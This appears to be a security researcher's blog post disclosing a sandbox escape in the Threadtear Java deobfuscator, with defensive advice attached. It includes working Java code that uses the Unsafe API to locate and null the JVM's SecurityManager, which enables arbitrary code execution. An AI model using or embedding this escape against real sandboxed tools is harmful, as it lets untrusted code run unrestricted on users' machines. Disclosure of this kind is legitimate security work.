Killing Threadtear's Sandbox

Full PoC w/ abitrary code execution: Link to Issue

Update: The vulnerability has been partially fixed; however, the patch unintentionally removes desired functionality as stated here.

Not too long ago, I was casually perusing my way through GitHub and found the Threadtear Java bytecode deobfuscator. For those of you who don’t know, I have a strong interest for Java bytecode-related projects — especially when deobfuscation and obfuscation are involved.

There’s a warning on the README.md of the repository which specifically informs the user it is possible to successfully execute arbitrary code through the deobfuscator for malicious purposes. So of course, I decided to take up the challenge and create a proof of concept of an ACE exploit in Threadtear.

The intent of this post is to show two main security issues to keep in mind whenever attempting to deobfuscate anything compiled to Java bytecode.

  1. You should never dynamically load (or even load for that matter) classes into the JVM and invoke them with reflection.
    • Preventing arbitrary code execution is basically impossible which essentially defeats the entire purpose of a deobfuscator.
    • Doing so exposes the deobfuscator instance to the program being deobfuscated which can modify its behaviour so the deobfuscator processes and transforms the program incorrectly.
  2. You should never, ever rely on the SecurityManager functionality of the JVM as a sandbox.

Recon

The main class of the deobfuscator makes a call to System.setSecurityManager(new VMSecurityManager()) so we obviously want to take a look at what VMSecurityManager does.

Taking a look at the source of VMSecurityManager shows that it pretty much prevents us from doing most of the fun stuff (making URL connections, IO operations, etc.) but the most relevant part is the checkPermission(Permission) method.

@Override
public void checkPermission(Permission perm) {
    if (perm.getName().equals("setSecurityManager")) {
        // check if invoked in main class
        if (!Thread.currentThread().getStackTrace()[4].getClassName().equals(Threadtear.class.getName())) {
            throw new SecurityException(MSG);
        }
    }
}

So from here, the only actually prevented Permission is just overwriting the SecurityManager. So to get a full, unrestricted ACE, all we have to do is figure out a way to get around this particular restriction and kill the SecurityManager.

Killing the SecurityManager

First, we need to get rid of the SecurityManager so that we can do pretty much whatever we want. Unfortunately, the JVM deliberately prevents us from uses Java’s Reflection API to do this for us. However, we can get around this inconvenience using Java’s Unsafe API.

The Unsafe API allows the programmer to perform memory-unsafe operations. Java by default, is a memory-safe programming language which prevents many people from making mistakes that you typically see of a C or C++ programmer (dangling pointers, forgetting to free allocated memory, calling free() twice on memory allocated to the heap, etc.).

First, we need to obtain an instance of Unsafe.

Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);

Now, we simply need to locate the base address of where the static fields are located (java.lang.System stores the SecurityManager in a static field).

// Note that this will not work on Java 9+ due to the removal of this method
Object systemBase = unsafe.staticFieldBase(System.class);

Finally, we just search for the instance of the SecurityManager starting from systemBase!

for (int i = 0; ; i += 4) {
    if (unsafe.getObjectVolatile(systemBase, i) == System.getSecurityManager()) {
        unsafe.putObjectVolatile(systemBase, i, null);
        break;
    }
}

We have successfully killed the SecurityManager and can now execute pretty much whatever we want!

So instead of relying on the SecurityManager to do the dirty sandboxing for you, what should you do instead? The JVM is absolutely full of nooks and crannies which can be take advantage of for the purpose of malicious code execution. Therefore, the easiest way to prevent arbitrary code executions while still working with potentially malicious code is to utilize a whitelist which allows only certain actions to happen which have been deemed safe. One of the easiest ways to achieve said whitelist, is through emulation of the bytecode.

Examples of emulators: